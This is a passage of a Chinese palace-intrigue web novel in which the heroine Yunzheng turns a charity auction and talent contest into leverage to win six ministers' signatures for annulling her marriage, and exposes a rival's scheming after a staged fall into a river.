见没人响应,云筝一锤定音,“十二万,成交,恭喜成老爷。” 成老爷站起来,笑容满面的行礼,“承让了。” 水榭里的权贵们都看不懂了,“真是疯了,一支玉钗卖的这么贵,不值啊。” “这些人到底是怎么想的?” 接下来的拍品没有这个贵,但都比市场价翻了几倍,供不应求。 商贾们都想拍一件回去,充充门面,也能用来镇宅。 轮到表演时间,云筝介绍道,“接下来,请欣赏大理寺卿之女的才艺表演,她带来的节目是书画双绝。” 秦素素左手书法,右手画画,双手同时写,让人眼花缭乱。 更绝的是,她的书法和画画都是上乘作品,引来无数喝彩声,收到好多鲜花。 开门红,首战很成功。 秦素素兴高采烈的捧着大把的花回到水榭,立马引发轰动。 大家羡慕极了,“哇,你收到了三十二支鲜花。” 曾家小姐忽然惊叫一声,“糟了,越后面就越吃亏啊,到时他们手中的鲜花都送完了。” 大家纷纷反应过来了,“这不公平,我抗议。” “锦云郡主,这不公平。” 云筝胸有成竹,“放心,我还安排了后招。” 等她再上台时,大声喊话,“鲜花不够的话,额外可以买,一支十两银子,随时可以给你们喜欢的节目送花,没有时间限制。” 话音刚落,手里已经空空的商人立马举手,“给我十支。” “给我二十支。” “我要五十支。” 像这种给权贵们打赏的机会错过,就不可能再有了。 商贾们疯狂抢购鲜花,就像不要钱似的,场面相当震撼。 水榭众人都看呆了,云筝笑吟吟的提点道,“对了,你们想要鲜花,可以拉票嘛,多说几句好话,多展示一下自己。” 刑部尚书之子撇了撇嘴,“钱又不给我们,犯不着。” 云筝微微一笑,“哦,那就等着输给对手吧,陈公子,我听说你跟将军府的季公子从小不对盘,什么都要争,要是输给他,我会笑你一辈子的。” 陈公子的脸绿了,不行,输给谁都行,唯独不能输给季小二。 轮到他出场时,表演了一段剑舞,说实话很一般,鲜花只收到八支。 他不禁急了,冲台下拱手,“各位,请大家捧个场,可好?” “我不想输,请叔叔伯伯哥哥们帮帮我。” 他一个公子哥低声下气的求情,台下人的都心软了,纷纷送上鲜花。 不一会儿,就一大把了。 他得意洋洋的拿着鲜花回去显摆,“看,我最多。” 季公子自然不甘示弱,轮到他上台时,节目不重要了,耍宝讨得满场喝彩,哄的大家都给他送花。 这两人一比拼,像是打开了一个新世界。 正是最要面子的年纪,谁愿意大庭广众之下输呢?而且是输给自己的对家?拼了! 接下去的节目,大家不光比拼才艺,还使出浑身解数哄台下,不管用什么手段都要将他们手中的鲜花哄过来。 现场气氛空前的热烈,欢笑声不断。 水榭内,户部尚书忍不住赞叹, “不得不承认,锦云郡主是个天才。” 她的花样太多了,一套又一套,新鲜又古怪。 礼部尚书许大人冷哼一声,“就一点小聪明而已,经商毕竟是小道,治国才是大道。” 户部尚书看了过来,“你到底给不给票?” 许大人家里闹出丑事,心里不痛快,他不敢怪爆料的厉无恙,却记恨上了云筝。 九千岁是为了维护云筝,才爆料的。 “不给!就让平西侯府压制她一辈子,永远别想和离。” 其他人纷纷看了过来,户部尚书眉头紧皱,“你确定要这样吗?” 许大人心烦意乱,“别再劝了,我心意已决。” 就在此时,云筝带着年轻公子和贵女们闯了进来。 “锦云郡主,你怎么来了?” 云筝笑的无辜极了,“我带他们过来玩玩。” 是时候上杀手锏了! 人质在手,天下我有!票都给她拿来吧! 官员们面面相觑,玩什么?看着像不安好心,怎么感觉她要搞事情? 第127章 狠狠拿捏,爽! 户部尚书的女儿挽着父亲胳膊撒娇,“父亲,我想赢,但我的鲜花不够。” 户部尚书一口答应,“我给你买点,缺多少?” “一百朵。” “买。” 其他人也在撒娇,“父亲,帮我买,快点啦,我要输了。” 可,这样下去没有尽头啊。 刑部尚书头都大了,“锦云郡主,你这馊主意害惨我们了,赶紧停止吧。” 云筝笑眯眯的看着,“停不了。” 刑部尚书算是看明白了,“你到底想干什么?” 云筝甩出一本奏折,“签字吧。” 他接过来一看,是奏请皇上允许云筝撤销婚约的奏折,言语之间将平西侯府骂的狗血喷头,什么穷鬼骗婚,什么辱没祖先。 江闻舟更是被骂惨了,成了百年来第一渣男,要钉死在耻辱架上的那种。 不是和离,是撤销婚约!直接抹去成亲这一事实,她还是未婚女子! 刑部尚书震惊了,过分了啊。“你让我们在这上面签字?” 云筝理直气壮的点头,“对啊,六位尚书大人,请吧。” 刑部尚书将奏折一扔,“我不签。” 礼部尚书也态度坚决,“我也不会签的。” 吏部尚书满面倨傲,“我也不会。” 就在此时,户部尚书伸出手,主动释放善意,“郡主,拿来吧,我签。” 这场义拍很成功,按照事先的约定,拍卖品所得都归宫中所有,用来建皇室慈幼院。 这点钱能在全国各地建很多家了。 门票钱,一半上交国库,边关将士的军饷有了。 云筝眉眼弯弯,“大人,你清醒又聪明,比他们强。” 她小手一挥,“送你的礼物。” 我却,这一大筐花,得值多少钱啊。 户部尚书将这一大筐花分给了一双儿女,两人欢喜雀跃,开心的不得了。 工部尚书的女儿眼巴巴的看着父亲,想要! 工部尚书微微一笑,“我签,我也有花吧?” “有。” 工部尚书签了字,也拿到了一大筐花,他女儿欢喜的尖叫。 刑部尚书的女儿满眼渴望,“爹,我也想要。” 她爹直接拒绝,“这种比赛别当真,没人会在意的。” 云筝瞟了他们父女一眼,展开言语攻击,“曾小姐,你父亲不爱你,只是把你当成联姻工具而已,你看,他连一朵鲜花都不肯给你。” “你啊,别委屈了,接受现实吧,以后嫁去夫家要心里有数,娘家有好事就往上凑,有坏事就赶紧切割。” 刑部尚书脑门青筋狂跳,“云筝,你闭嘴。” 云筝听而不闻,“还有啊,出嫁时一定要多捞点嫁妆,你是联姻工具,劳苦功高,理所应当的。” 她还盯上了吏部尚书的儿子,疯狂输出。 “还有你,你父亲都不爱你,你对他也不用太好,现在还需要靠他就哄哄他,等他老了,就把他扔去破院子,任由他自生自灭。” 吏部尚书脸色铁青,“云筝,你挑拨我们父子感情,我一定要向皇上告状。” “没用的,他才不会管这种闲事。” 云筝转头看向兵部尚书和他的儿女,张口就要说话。 兵部尚书立马伸手,“拿来吧,我签。” 识务者为俊杰,他在奏折签上自己的名字。 这么一来,三人的名额拿到了。 另三人是死硬派,死活不肯签字。 云筝也不生气,嘴角轻扬,“我不好过,谁都别想好过,我会收买你们的下人,还会在你们四周安插各种人手,天天挑拨离间,让你们家里不得安宁,父不父,子不子,相互残杀。” “我有的是钱,请得起人手,几百几百的请。” “我保证,过不了几年,你们三家都得完蛋。” 一次两次的谗言或许没用,但听多了,总会起作用的。 谁都经不起积年累月的挑拨,人性很脆弱。 三人的脸色铁青,这混账东西还真干的出来。 一想到四周全是不怀好心的人就毛骨悚然,这日子还怎么过? 吏部尚书像见鬼了般,既然敢说,自然敢干。 “锦云郡主,你这就过分了,若是让世人知道你是这种人,你的名声还要吗?” 这是威胁,但,云筝轻描淡写的说道,“没关系,若我名声不好,我保证,在座的各位名声更差。有人垫底,我怕啥呀?” “我可以砸钱,让人天天去市井传播各家的破事,哪家没有见不得人的龌龊事呀?是吧?” 三位大人被她的无赖做派气的直瞪眼,浑身发抖。 “做人不能这么厚颜无耻,你是个姑娘家,手段这么脏,哪个男人会喜欢?” 云筝冷哼一声,“大家一起完蛋呗,我烂在烂泥里,你们也必须陪我一起烂,你们全族几千号人都别想好过。” “若是,你们的族人知道,你们为了一己之私,害的他们惨兮兮的,不知道会怎么想?” 众人:…… 妈呀,太狠了,这是要让他们后院失火,跟家族决裂,断了他们的后路。 这跟掘人家祖坟有什么区别? 江城郡主强忍笑意,看吧,对付不要脸的人,就得这么整治。 她真是个整人小天才。 “要不,给她签个名呗,没必要为了一点小事斗气,两败俱伤不值得。” 礼部尚书的儿子苦笑道,“是啊,父亲,锦云郡主退个婚而已,我家的名声已经够差了,我还想安安稳稳娶妻呢。” 吏部尚书的女儿开口说道,“不怕有钱人搞事情,就怕既聪明,又有钱又有靠山的狠人搞事情,锦云郡主,她说到做到,我不想丢人啊,父亲。” 她算是看出来了,云筝太聪明太不要脸,还是个疯子,简直是无敌了。 三位尚书面面相觑,又气又憋屈。 刑部尚书的儿子将奏折和毛笔递到父亲面前,哀求道,“父亲,为了家族,您就签了吧。” 刑部尚书轻轻叹气,拿过毛笔,在奏折上写上自己的名字。 吏部尚书的女儿立马接过来,送到父亲面前,压低声音,“父亲,我还想嫁进皇室,必须有个好名声,求您了。” 吏部尚书还能怎么办?只能签了,总不能毁了儿女的锦绣前程吧。 只剩下礼部尚书了,眼睛瞪的像铜铃,脸上写满了不甘心。 就在挣扎时,一个下人惊惶失措冲进来,“不好了,许四小姐和邵大小姐掉进河里了。” 许尚书脸色大变,“锦云郡主,我女儿要是有个三长两短,我跟你没完。” 云筝挑了挑眉,许婉婧搞事情?“救起来了吗?” “这……”下人迟疑了。 许尚书急的不行,“说。” 下人小心翼翼的禀道,“大皇子,三皇子,四皇子都跳下去救人了。” 好家伙,好家伙。 大家齐刷刷的往外冲,跑的比兔子还快。 第128章 三位皇子齐齐跳河了 湖边,许婉婧静静的看着自己的好闺蜜邵元姝。 邵元姝是邵阁老的庶长女,她的生母是邵阁老的侍婢,从小一起长大,感情深厚,所以,她极为受宠。 按理说,庶女是没有资格当皇子正妃的,但,邵阁老特意将她记在正室名下,勉强算是嫡女。 “婉婧,你怎么这么看着我?” 许婉婧冷声质问道,“是你挑唆我三姐爬床的?” 邵元姝愣了一下,随后很生气,“你胡说什么?我怎么可能做这种事?” 许婉婧觉得她好陌生,“她亲口说的。” 邵元姝还委屈上了,气呼呼的瞪着眼睛,“我们十几年的交情,你居然不信我,反而信她?她从小就嫉妒你,老是找你麻烦,是我护着你,你都忘了吗?” 许婉婧心中已经有了答案,“就因为皇子妃的位置吗?” 她是最热门的皇子妃人选,家世清白,知书达理,父兄都得力,外祖父是一代大儒。 皇后还请她去宫喝茶,意在考察。如果没有意外的话,她会成为皇子妃。 却因为,三姐爬床,三家闹的不可开交,她不得不去填坑。 再说了,许家出了这种丑事,名声扫地,不可能出一个皇子妃,顺利解决掉了一个竞争对手。 邵元姝恼怒万分,一副被冤枉的模样。 “婉婧,你太让我失望了, 我不想跟你说话。” 她扭头就走,身后传来一道清冷的声音,“我给你一个机会。” 一股大力袭来,她被一把推进河里,“啊。” 她气急败坏的尖叫,“许婉婧,你疯了吗?快拉我上去。” 许婉婧瞟了不远处一眼,忽然扑通一声跳进河里,一把扯住邵元姝的头发往河中心游。 两人在水中浮浮沉沉。 邵元姝不会水,呛了几口水,吓的魂飞魄散,拼命挣扎,许婉婧顺势松开手。 邵元姝整个人往河里沉,越挣扎越往下沉,慌乱无比,“救命啊,救命。” 不远处,四位皇子聚在一起谈天说地,气氛相当不错。 就在此时,忽然听到呼救声,几人纷纷赶过去,就看到两个女子在河里挣扎。 大皇子微微蹙眉,“那是谁?” 四皇子凝神细看,立马认了出来,“是许家四小姐和邵阁老的千金。” “快救人。” “扑通”一声,大皇子跳了下去,四皇子呆了呆,立马也跟着跳了。 三皇子迟疑了一下,咬了咬牙,也跳了下去。 只有腿脚有疾的二皇子站在岸边,眼神微闪。 三个皇子齐刷刷的跳河,把随侍们吓坏了,但没主子的命令不敢擅自去救人,毕竟,都是千金大小姐,要是有了肌肤之亲…… 他们赶紧去报信。 要命,要出大事了。 四皇子朝蓝色的身影游过去,但,那道身影在水中沉沉浮浮,每次要接近时,就又飘远了。 大皇子的目标明确,冲着另一道身影游过去,很顺利的将女子拉入怀中。 女子已经吓坏了,小脸惨白如纸,紧紧抱住他不放。 “救我。” 就在此时,云筝最先赶到了。 紫烟抱着云筝一溜烟的跑,将众人甩的远远的。 云筝扫视四周,二皇子站在岸上,大皇子跟邵元姝在河里抱在一起。 而,三皇子和四皇子都在许婉婧四周,四皇子极力靠近许婉婧,许婉婧朝后退,挣扎了几下,似乎快要脱力了。 三皇子的速度比较慢,离四皇子有一段距离。 眼见四皇子的手就要碰到许婉婧,云筝捞起一边的长竹杆朝四皇子头顶挥去。 她的准头很准,挥中了四皇子,四皇子受惊之下喝了几口水,差点呛着,扑腾了几下。 三皇子已经靠近许婉婧,一把抱住她,将她往岸边拖。 云筝嘴角翘了翘,有趣,几个皇子各有小心思,暗潮涌动。 “还愣着干吗?还不快去将四皇子救上来。” 说话之间,大皇子已经将邵元姝拖上岸,紧紧护在怀里。 邵元姝的衣服湿透了,曲线毕露,四肢缠着大皇子不放手。 三皇子将许婉靖拖到岸边,紫烟上前搭了一把手,将人拉上来。 云筝第一时间让人取来披风,给许婉靖披上,将她的身体裹的严严实实。 她还将另一件披风递给邵元姝,“邵大小姐。” 邵元姝如梦初醒,猛的松手,脸色刷的全白了。 她一把抢过披风将自己裹好,瑟瑟发抖,眼珠乱转。 而,随从们将四皇子像死狗般拖上岸。 四皇子浑身是水,骂骂咧咧,“云筝,你这个疯子,你这是谋害皇子。” 云筝不乐意了,“四皇子,你的脑子进水了?怎么尽胡说?我是你的救命恩人!” 四皇子气的嘴巴都歪了,狗屁救命恩人,无耻至极。 “他们都是人证。” “说,你们看到了什么?” 随从们面面相觑,“锦云郡主……用竹竿抽你。” 云筝理直气壮的反驳,“那是你的人,自然是帮着你说谎,不足以采信。” 四皇子气的浑身发抖,目光扫到一边的二皇子,精神一震。 “二哥,您来为我作证。” 二皇子迟疑了一下,张了张嘴,话还没出口,就被云筝抢话了。 “四皇子,我知道你嫉妒我,嫉妒的发疯,所以想尽办法打压我,陷害我。” 四皇子从未见过如此黑白颠倒的女子,“你胡说,我是皇子,怎么可能嫉妒一个臣女?” 云筝瞟了一眼不远处跑来的众人,说的更大声了。 “因为我在皇上面前得宠啊,其实你应该好好检讨一下自己,为什么这么不讨喜。” “你说你,一个圈禁的人,不想着思过,反而整天想陷害人,你好可怕啊。” 四皇子气的吐血,可恶。 “闭嘴。” 大部队赶到了,邵阁老见到此情此景,眼前一阵发黑。 户部尚书见到狼狈不堪的四女儿,脑门嗡嗡作响。 怎么又出事了?这下子麻烦大了。 他已经跟左都御史谈好了,让嫡女代嫁过去,婚书都改过来了。 皇后娘娘威严的声音响起,“这是怎么回事?” 邵元姝猛的跪倒在地,眼中闪过一丝浓浓的戾气,大声控诉,“许婉靖将我推下水,欲置我于死地,请皇后娘娘为我作主。” 第129章 敢觊觎九千岁,找死! 大家齐刷刷的看向许婉靖,许婉婧神色有些紧张。 “我没有,邵元姝,我们是好朋友,你为什么要害我?” 邵元姝咬着嘴唇,楚楚可怜,“是真的,几位皇子,你们都看到了吧?” 三皇子摆了摆手,“我没有。” 其他人也表示没看到,不想卷入是非中。 邵元姝一脸的受伤,眼眶通红,忽然盯上了云筝。 “锦云郡主,您也看到了吧?求您帮我说句公道话。” 每个人都有自己的小心思,云筝不想掺和进去,“我比几位皇子来的晚,他们都没看到,我怎么可能看到?” 邵阁老头痛欲裂,众目睽睽之下,爱女被大皇子抱了,只能嫁给他了。 可是,大皇子已经有正妃有侧妃,最关键的是,他没有夺嫡的机会不大。 邵家想要的是权倾天下!母仪天下! 邵元姝又气又急,“我敢对天发誓,是许婉靖推我下水,若有半句虚言,让我天打雷劈。” 她恶狠狠的瞪着对方,“许婉婧,你敢发誓吗?” 许婉婧深吸一口气,“有何不敢?” 她举起右手,神色严肃,“我,许婉靖是无辜的,若有半句虚言,让我天打雷劈。” 邵元姝有苦难言,“你这个恶毒的骗子,满口谎言,就不怕神佛怪罪吗?” 她气的扑过去撕扯,许婉婧没有躲闪,也没有反击,像是被吓懵了。 相比之下,失控的邵元姝像个疯婆娘。 许婉婧挨了两下,许尚书立马上前阻止,事已至此,没办法了。 皇后眼中闪过一丝恼意,“行了,都别闹了。” 她一声令下,许婉婧被拉开,不禁掩面而泣,可怜极了。 许尚书反复权衡后,终于拿定主意,大声道,“皇后娘娘,三皇子跟我女儿已经肌肤相亲,他要负责。” 本来,许家,左都御史,昌国公府,三家已经绑在四皇子这条船上。 如今,局势有变。 左都御史脸色大变,“不行,四小姐已经是我们家的人。” 他如吞了死苍蝇,恶心坏了,许家是怎么回事?养的女儿都不安分。 许尚书拱了拱手,一脸的歉意,“事已至此,我们两家的婚约作废。” 他心知肚明,左都御史心中已经有了芥蒂,他儿子肯定会嫌弃的,那,嫁过去也没啥意思。 皇后微微蹙眉,这一切打乱了她的计划。 “小三,你怎么说?” 三皇子不假思索的说道,“我可以纳许四小姐为侧妃,正妃得留给锦云郡主。” 众人嘴角直抽抽,你来真的呀? 云筝笑眯眯的开口,“我早就发誓,愿得一人心,白首不相离,我的夫君此生绝不纳二色。” 一听这话,大家的表情意味深长。 三皇子翻了个白眼,“你也太霸道了,这世上哪个男人做得到?别太任性,我跟你很配。” 他有权,她有钱,钱权结合,天下无敌。 云筝无语极了,配个鬼啊,他脑子也进水了吧? 皇上怎么可能允许她嫁给皇子?以她逆天的挣钱能力,加上皇子的权势,皇上晚上都要睡不着,时时担心要被篡位。 “我,有钱有爵位,没男人也能活的很好,男人只是锦上添花。” 三皇子真的不懂吗?懂,但还是想试一试。 “你离经叛道,是不行的。” “哼。” 云筝看向礼部尚书,眼珠一转,“许尚书,你若是签字,我帮你搞定这桩婚事。” 这婚事吧,谁说了都不算,皇后只能建议,最终还得皇上作主。 许尚书默了默,内心挣扎。 许婉婧可怜兮兮的看着父亲,“父亲,您别为难了,我回去就拿条白绫上吊,不会辱没许家的名声。” 云筝秒懂,这是以进为退,那就助她一臂之力吧。 “哎,许四小姐,你就是太懂事了,可,许尚书就喜欢厚颜无耻的女儿,比如你三姐,做了天大的错事,照样被送去昌国公府享福。” 还真是,许三小姐进了昌国公府,成了大姐夫的妾室,也算是如愿以偿了。 许尚书恼怒不已,“你闭嘴。” 云筝听话才怪呢,还在疯狂输出,“许四小姐啊,我都替你感到不值,哎。” “不要脸的人活的好好的,你要脸的就得以死保家族名声,你亲爹啊,不光是眼瞎,脑子不好使,审美有问题,还真是爱惨了骚货,说不定父女俩也有……” 许尚书已经猜到她接下去的话,整个人要疯了,大声喝道,“够了,我签,我签。” 云筝笑眯眯的送上毛笔和奏折,“早签,不就完了吗?” 许尚书抖着手签完字,狠狠扔给云筝,云筝也不生气,捡起来细细欣赏。 六部尚书的签字都齐了!她自由了! 真好,终于等到这一天了,开心! 她得赶紧进宫一趟,让皇上当场下旨,解除这桩婚事! “许四小姐聪慧可人,跟三皇子是佳偶天成,我恭祝两位百年好合,永结同心。” 许婉靖满眼的感激,有了这句话,这个正妃的位置跑不了。 她相信云筝有这个能力! “多谢您。” 云筝拍拍她的肩,柔声说道,“人必先自助,而后人助之,你很好。” 许婉婧眼眶一热,泪珠在眼眶打转,她看穿了一切,却选择了闭口不言,还暗暗帮了自己一把。 这也是家里出事以来,让她唯一感到温暖的话。 锦云郡主是个很好很好的人。 另一边,邵阁老眉头紧皱,“小女……” 他费尽心思为最心爱的长女铺路,但,人算不如天算。 大皇子面色诚恳极了,“阁老放心,我愿意负责,侧妃之位可好?” 按理来说,他是皇长子,什么样的女子都配得上,更何况,邵元姝只是一个庶长女。 她算是高攀了。 谁知,邵元姝脸色大变,“我不要。” 全场皆惊,大皇子的脸色难看到了极点。 邵元姝大声嚷嚷,“锦云郡主,我在沁园出的事,你要负责。” 云筝挑了挑眉,饶有兴致的问,“怎么负责?” 在合理的范围内,她不介意帮个小忙,举手之劳嘛。 邵元姝凑近云筝,压低声音说道,“我要当睿亲王妃,你跟睿亲王关系匪浅,帮我说服他,或者让皇上直接下旨。” 云筝笑脸一僵,心底涌起一股不知名的怒火。 md,敢觊觎九千岁,找死! 手撕了她! 第130章 一串三,就问你怕不怕 云筝扭头大叫,“大皇子,邵大小姐嫌你是废物,看不上你。” 这一嗓子,吼的大皇子脸色铁青,大家都呆住了。 啥?没听错吧?怎么敢的?邵元姝有什么资格嫌弃一个皇子? 邵元姝目瞪口呆,她怎么不讲武德? “我不是,我没有,她乱说的。” 云筝冷哼一声,“那你就嫁给大皇子吧。” 邵元姝咬着嘴唇,一脸的为难,“大皇子,请恕罪,我已经心有所属,这辈子非他不嫁。” 大皇子颜面全失,皇子的尊严被狠狠践踏,脸色难看极了。 他冷冷的提醒道,“你的身体被我碰过了。” 邵元姝面露羞涩之色,“他不会介意的,只会心疼我受的委屈。” 云筝被恶心到了,明明没有什么关系,从她嘴里说出来,好像已经有一腿了。 大皇子心口堵的慌,“你们私订终身了?是谁?” “您别问了。”邵元姝说这话时,瞟了云筝一眼,欲语还休。 这作派勾起了大家的好奇心。 大皇子立马盯上了云筝,“锦云郡主,您知道是谁吗?” 云筝气笑了,想借她的口说出来,显得更真实? “不知道,我跟她不熟。” 邵元姝一脸的震惊,好像在说,你怎么能说谎? 云筝视若无睹,看向众人,“中场休息够了吧?回去继续,今日必须分出输赢。” “各位,请吧。” 大家将好奇心强压下去,跟着云筝转身离开。 邵元姝不禁急了,“锦云郡主,你答应我的事,不能反悔啊。” 这是强行捏造事实,用舆论逼迫云筝,这反而激起了云筝的怒火,“我可没有答应过任何人,邵大小姐一直这么虚伪狡诈吗?” “先是接近许四小姐,再挑唆许三小姐爬姐夫的床,难怪能将整个许家当猴耍。” 许尚书脸色大变,是她?! “啊,不对,是一手破坏了许家,左都御史府,昌国公府三家的联盟,厉害啊。” 这下子,不光左都御史脸色难看,连皇后和四皇子都沉下了脸。 云筝短短一番话,连串三大家族和皇后母子,生生将这些人推到了邵元姝的对立面。 她一脸佩服的拱手致意,“邵阁老,你教女有方,恭喜你。” 好家伙,邵阁老也被拉下水,一个都别想跑。 “轰隆隆”,如一颗重型炸弹,在人群头顶炸开。 许尚书和左都御史惊怒交加,问题出在邵元姝身上? 她一个弱女子哪有这样的心机,一定是邵阁老背后指使的。 狗东西,居然暗中整他们,害了他们的好事。 许尚书气疯了,脑门青筋狂跳,他搭进去一个女儿,还有许家几代人苦心经营的好名声。 “从今日起,许家跟邵家绝交。” 左都御史也翻脸了,“姓邵的,我跟你誓不两立。” 邵阁老头皮一阵发麻,跟几大家族为敌,要命。 “不是的,你们想啊,真有这种隐秘事,锦云郡主怎么可能知道?” 云筝笑眯眯的开口,“九千岁说的呀,他说……” 一道轻颤的声音猛的响起,“不可能,我跟九千岁两情相悦,私订终身了,你就是嫉妒我,才想出这样的办法陷害我们邵家。” 是许元姝,她又是气愤又委屈。 大皇子呆住了,“你跟九皇叔?” 许元姝含羞带怯,“对,大皇子,你现在知道我为何不能嫁给你了吧?” 现场一片沉默,如果许元姝能成为高高在上的睿亲王妃,那许家确实可以在京城横着走,无须怕任何人。 前提是,这事是真的。 云筝眼中闪过一丝恼意,“笑死人了,九千岁是出了名的不近女色,他守礼清正,怎么可能跟人暗通曲款?” “若是喜欢谁,直接去跟皇上求一道圣旨就行,皇上求之不得。何必如此迂回?” 大家质疑的看着邵元姝,她又气又急,“你又不是当事人,你知道什么?” 她阴恻恻的威胁道,“云筝,你信不信我让九千岁撒手不管你,甚至出手对付你。” 一道清冷的声音响起,“我不信。” “呵,你不信……”邵元姝忽然发现不对,顺着大家的目光看过去,是厉无恙。 她浑身一颤,后背发寒,“九千岁,您怎么来了?” 说曹操,曹操就到。 她深吸一口气,随后袅袅婷婷的行礼,娇嗔道,“九千岁,您总算来了,我快被云筝欺负死了。” 厉无恙理都没理她,看向云筝,“听说沁园出事了,你还好吗?” 云筝愣了一下,他不是有事来不了吗? “我没事,是邵大小姐跳进河里,被大皇……” 邵元姝急的满头大汗,冲父亲直使眼色,邵阁老适时的打断道,“九千岁,您跟小女两情相悦,不如就此定下婚约吧。” 厉无恙神色倨傲而又不屑,“两情相悦?谁?邵元姝?谁会喜欢一个整天殴打家奴,动不动就往主母水杯吐口水的贱人。” 众人目瞪口呆,这……很难评。 你哪怕往水里下毒,也比吐口水强,啊,也不对。 “呕呕。” 三皇子关心的看了过去,“许四小姐,你没事吧?” 许婉婧欲哭无泪,“我也喝过她递过来的水杯,不会也……呕。” 好吧,是被恶心吐了。 邵元姝脸色发白,“我没有,九千岁,我是真心爱慕您啊。” 厉无恙冷笑一声,“你平时不照镜子吗?你眼中写满了野心,以及对权势的渴望。 ” 邵元姝气急败坏,“云筝也是野心勃勃的人,你为什么对她那么好?” 厉无恙面色稍霁,“她值得。” 云筝指了指自己,一脸的骄傲,“对,我很有用,能挣金山银山,你只会往别人杯里吐口水。” “噗呲。”有人忍不住笑了。 四皇子凉凉的挤兑,“大哥,你确实要纳她吗?” 大皇子表情很复杂,打扮的光鲜亮丽,私底下却是这么…… “不要,送你了。” 四皇子撇了撇嘴,“我可不收垃圾。” 邵元姝眼眶通红,“九千岁,云筝只会挣钱,可我父亲是阁老。” “在权势面前,金钱不值得一提。” 厉无恙冷冷的道,“我已经位极人臣,又不想造反,你的阁老父亲对我毫无用处。” 邵元姝咬破嘴唇,口腔全是血腥味,忽然大声问道,“你对云筝这么特殊,是不是有男女之情?你是不是喜欢她?” 现场一静,齐刷刷的看过来。 云筝的心跳漏了一拍…… 第131章 在云筝面前,千万别犟嘴,会被打脸! 厉无恙深深看了云筝一眼,眼神复杂的无法用言语形容。 云筝的心一颤,嘴唇微抿。 厉无恙转过头,冷泠的喝斥,“你算什么东西,敢过问本王的私事?” 云筝不知是失望,还是庆幸,赶紧张口说道,“就是,脑子有病就赶紧治,王爷,别理她,我挣了好多钱,分给你一半呀。” 他们俩的互动向来光明正大,在众人面前也是坦坦荡荡。 厉无恙心里发苦,提点道,“皇上那边也分点。” 云筝是何等聪明的人,立马反应过来,皇上猜忌心那么重,是不会允许下面的人强强联合。 她的挣钱能力太强,不可能将她嫁给皇子……或者亲王。 找靠山和联姻是两回事,前者随时可撤,后者是彻底绑死了。 她撇了撇小嘴,“门票钱一半上交国库了,还想怎么样?私库又不归我管。” 厉无恙看着灵动又鲜活的女子,心中说不出是什么滋味。 “我那一半分给皇兄?” 云筝一脸的无所谓,“给您了,就是您的,您想怎么用都行。” 两人旁若无人的分钱,赤裸裸的金钱关系,不掺感情之事。 大家都信了。 主要是,他们太坦荡了,坦荡的让人觉得没啥猫腻。 但,邵元姝出于女人的第六感,觉得睿亲王看云筝的眼神不一样。 看别人时冷漠至极,但,看云筝时,是有温度的。 “睿亲王,您每次光明正大的袒护,这不是爱,那是什么?” 厉无恙还没说什么,云筝就抢话了,“你要是给王爷也挣个千万两银子,别说袒护了,供着都行啊。” 三皇子弱弱的举手,“那,我也供着你,你给我挣个千万两银子,如何?” 别人也跃跃欲试,谁不爱钱呢? 遇到财神爷都想拜一拜,何况是个活的! 云筝冷哼一声,“做什么春秋大梦,哪天等你当了皇上再说。” 三皇子脸绿了,“你这张嘴,真是要命。” 云筝面上带着笑,说出来的话却犀利如刀,“大皇子,你也别怪九千岁,人家看上的不是人,而是九千岁的权势。” “只要是那个位置,谁都可以。” 这话一出,大家看向邵元姝的眼神都变了。 杀人诛心。 邵元姝恼羞成怒,“锦云郡主,你欺人太甚。” 这算什么呀,云筝的攻击力更强了,“要不,你进宫给皇上当小老婆吧,皇上才是世上最有权势的人。” 谁知,大皇子来了一句,“邵大小姐跟我有了肌肤之亲,全身被我摸过了,恐怕进不了宫。” 俗话说,咬人的的狗不叫,大皇子看着沉默低调,关键时刻咬人很凶的。 这话太难听,等于将邵元姝的脸面踩在脚底下。 邵元姝气哭了,一股无力涌上心头,不应该是这样的啊。 云筝昂着脑袋,得意洋洋的说道,“王爷,走,我们去算一下挣了多少钱。” 下半场开始,气氛依旧热烈,许婉婧换了一身衣服,再出现在众人面前,依旧端庄优雅。 云筝看了过来,“许小姐,还上台表演吗?” 许婉婧神色沉静娴雅,“当然,我准备了那么久。” 她上台表演弹琴,不得不说,她的琴艺高超,台下听的如痴如醉。 云筝夸了一句,“好听,三皇子,你有福了,咦,你怎么不给你未婚妻送花?” 三皇子不想理她。 拍品全部拍出,比赛也很顺利的完成。 云筝让六部尚书一起清点战果,嗯,数鲜花。 结果,很快就出来了。 “我宣布,今晚的冠军是许尚书之女,许四小姐,恭喜她吧。” 许婉婧受宠若惊,她知道自己的实力不足以碾压全场。 不过,她将成为三皇子妃的消息泄露出去,商贾们立马抓住机会狂送鲜花。 云筝推了三皇子一把,“三皇子,你来帮她颁奖吧。” 是一顶亮闪闪的金冠,漂亮极了。 三皇子不是很想,但看着旁边眼神暗含警告的九皇叔,无奈叹了一口气, 将金冠戴在许婉婧的头上。 这一刻,台下一片欢呼声,许婉婧心潮澎湃。 云筝大声说道,“我宣布,红队取得的胜利,红队的队长,曾公子,你带着你的队员一起上来领奖吧。” 红队由次辅的公子带队,蓝队由首辅的公子带队,节目得到的鲜花数加起来,红队赢了。 每人一盆牡丹花,不是很名贵,但也拿的出手。 “恭喜你们。” 红队队员捧着花在台上接受全场欢呼,每个人脸上露出灿烂的笑容,这一刻将成为一生最美丽的回忆。 努力过,明媚过,灿烂过,欢笑过,人生没有白活。 云筝看着这盛况,忍不住笑道,“我觉得每年都可以搞一次,办成常规节目。” “这样就能源源不断的入账。” 吏部尚书嘲讽道,“做梦。” 云筝嘴角轻扬,忽然大声说道,“对了,为了谢谢大家对我的支持,每位参加比赛的选手将得到一份特别的礼物。” “你们所得的鲜花,可以拿来跟我换钱,一支二两。” 选手们的眼睛刷的亮了,还有这样的好事?“真的吗?” “真的。” 刑部尚书千金快乐的奔过来,“郡主,我有503支。” 云筝清点后,直接掏出银票,“1006两,拿去。” 这是意外之财,大家都高兴不已,这是第一次靠自己的能力挣钱,特别有成就感。 曾公子兴奋的问道,“锦云郡主,明年还办吗?办的话,我第一个报名。” “我也报名!” “我也报名。” 六部尚书看到这一幕,都沉默了。是他们老的跟不上时代了? 在锦云郡主面前,千万别犟嘴,会被打脸! 而且很快,不隔夜的那种。 厉无恙看着人群中闪闪发亮的女子,嘴角轻轻上扬,真好看。 宫中,云筝规规矩矩行礼,“见过皇上。” 皇上微微抬手,“起来吧,今日挣了多少钱?” 云筝无语极了,“谈什么钱呀?多庸俗,先谈正事。” 她双手将奏折呈上,“我已经收齐六部尚书的签字,得到了他们一致认可,请皇上撤销我和江闻舟的婚约。” 